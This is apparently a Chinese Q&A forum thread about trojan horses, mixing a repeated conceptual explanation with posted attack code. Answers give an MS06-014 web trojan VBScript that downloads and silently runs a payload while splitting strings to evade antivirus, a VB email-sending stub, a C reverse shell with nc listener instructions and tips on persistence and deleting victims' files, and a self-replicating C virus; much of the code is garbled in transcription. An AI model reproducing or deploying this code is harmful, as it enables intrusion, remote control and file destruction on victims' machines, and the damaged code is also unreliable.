一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。
(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。
木马是编写的一种远程控制恶意程序
木马会未经用户许可
记录用户的键盘录入
盗取用户银行账户
密码等信息
并将其发送给攻击者
这个代码属于木马病毒。
它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。 所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。 所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。 从木马的发展来看,基本上可以分为两个阶段。 最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。 而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。 所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。 什么是木马 特洛伊木马(以下简称木马),英文叫做“Trojan house”,其名称取自希腊神话的特洛伊木马记。 它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。 所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。 从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。 而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。 所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。
用杀毒软件可以清除木马。它不是一种对自己不利的“病毒”,能够应用和奴驾它的人,就将它看为是一种资源,它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。 一般自己中了木马病毒,首先要认清这是个什么病毒。其实 Trojan是某些防毒软件对后门木马的一种统称,它并不代表着固定的一个,而是一类,所以即使遇到同样名字的木马可能它们也并不相同。
希望我能帮助你解疑释惑。
来晚了吗?……再复制一次吧……
要简洁……感觉复杂的话应该能免杀……
on error resume next '开启错误陷阱
dl = "" '定义“dl”为木马下载地址
Set df = document.createElement("object") '建立子元素
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 声明网马的clsid,这个是ms06014的
str="Microsoft.XMLHTTP" 使用XMLhttp对象
Set x = df.CreateObject(str,"") '用Adodb.Stream执行文件操作
a1="Ado" '下面这三个的作用是拆分字符串“Adodb.Stream”,躲过一些杀毒软件查杀
a2="db."
a3="Str"
a4="eam"
str1=a1a2a3a4 '合并字符串“Adodb.Stream”
str5=str1 '转移变量str1到str5
set S = df.createobject(str5,"") '执行文件操作
S.type = 1
str6="GET" '使用get方式获取木马文件
x.Open str6, dl, False '根据木马地址获取木马文件
x.Send
fname1="g0ld.com" '定义木马的文件名"g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","") '用FileSystemObjec执行文件操作,这次是写入文件
set tmp = F.GetSpecialFolder(2) '获取临时文件夹路径
fname1= F.BuildPath(tmp,fname1) '下面这些是向临时文件夹中写入木马
S.open
S.write x.responseBody
S.savetofile fname1,2 '保存木马文件
S.close '关闭连接
set Q = df.createobject("Shell.Application","") '用Shell.Application运行木马文件
Q.ShellExecute fname1,"","","open",0 '以隐藏方式运行木马
问题补充:我真想飞起给楼下一脚~~~~~~~
VB '油香接收 Private Sub Command1_Click() Timer1.Interval = 5000 On Error Resume Next f = ("xxxxxxxx") '发送邮箱 smtp = ("xxxxxxx") '发送邮箱服务器 u = ("xxxxxxxx") '发送邮箱用户名 p = ("xxxxxx") '发送邮箱密码 t = ("xxxxxxxxx") '接收邮箱 m = Text1.Text '邮件标题 msg = Text2.Text 't邮件内容 NameSpace = " http://schemas.microsoft.com/cdo/configuration/" Set Email = CreateObject("CDO.Message") Email.From = f Email.To = t Email.Subject = m Email.Textbody = msg Email.AddAttachment j With Email.Configuration.Fields .Item(NameSpace "sendusing") = 2 .Item(NameSpace "smtpserver") = smtp .Item(NameSpace "smtpserverport") = 25 .Item(NameSpace "smtpauthenticate") = 1 .Item(NameSpace "sendusername") = u .Item(NameSpace "sendpassword") = p .Update End With Email.Send End Sub Private Sub Command2_Click() End End Sub Private Sub Timer1_Timer() If Text1.Text Text2.Text Text3.Text Text4.Text = "" Then MsgBox "请先输入!", vbInformation, "提示" Timer1.Enabled = False Else MsgBox "系统已经成功审核你的数据!{你的账号:[" + Form1.Text1.Text + "]", vbInformation, "提示" Text1.Text = "" Text2.Text = "" Timer1.Enabled = False End If End Sub
记得采纳啊
//一个简单木马的源代码
#include stdio.h
#include winsock2.h
#pragma comment(lib,"Ws2_32.lib")
void main()
{
WSADATA wsa;
SOCKET corky;
struct sockaddr_in add;
WSAStartup(MAKEWORD(2,2),wsa);//初始化
corky=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//创建套接字corky
add.sin_family=AF_INET;//填充sockaddr_in结构
add.sin_port=htons(918); //换成你的端口
add.sin_addr.s_addr=inet_addr("127.0.0.1");//换成你的ip地址
connect(corky,(struct sockaddr *)add,sizeof(add)); //连接控制端
STARTUPINFO si; //创建STARTUPINFO结构
ZeroMemory(si,sizeof(si));//为STARTUPINFO结构分配内存
si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//要使用的标志位
si.wShowWindow=SW_HIDE;//隐藏cmd.exe窗口
si.hStdInput=si.hStdOutput=si.hStdError=(void *)corky;//重定向输入输出到套接字corky
PROCESS_INFORMATION pi;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,si,pi);//创建cmd.exe进程
ExitProcess(0);
}
//用nc监听你的918端口(nc -l -p 918)然后耐心等待对方启动木马吧!
//提示:nc在《网友世界》2008 3月光盘中winowsPE系统的外挂程序中可以找到
//如果木马启动你在nc的窗口就会得到一个带微软版权的提示
//输入dir命令看看就会看到对方目录下的所有文件信息(木马所在目录)
//用del命令可以删除他的文件了
//不过还是有缺陷就是对方可以看到有一个cmd窗口笨蛋也知道中招了哈哈..
//到时警察叔叔来找你可别怪我提醒你呦!
//你可以完善它如向系统添加启动项让它随系统启动
//最好是感染文件让它随宿主的打开而启动
//你还要完善窗口的隐藏
//本代码在XP+VC++6.0下调试通过
木马代码和平常正常程序的代码一样了,只不过是在一些正常成学的代码中添加了一下其他的代码就成为了木马代码。
没什么厉害不厉害了!
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
再就是网上一百度一大堆的。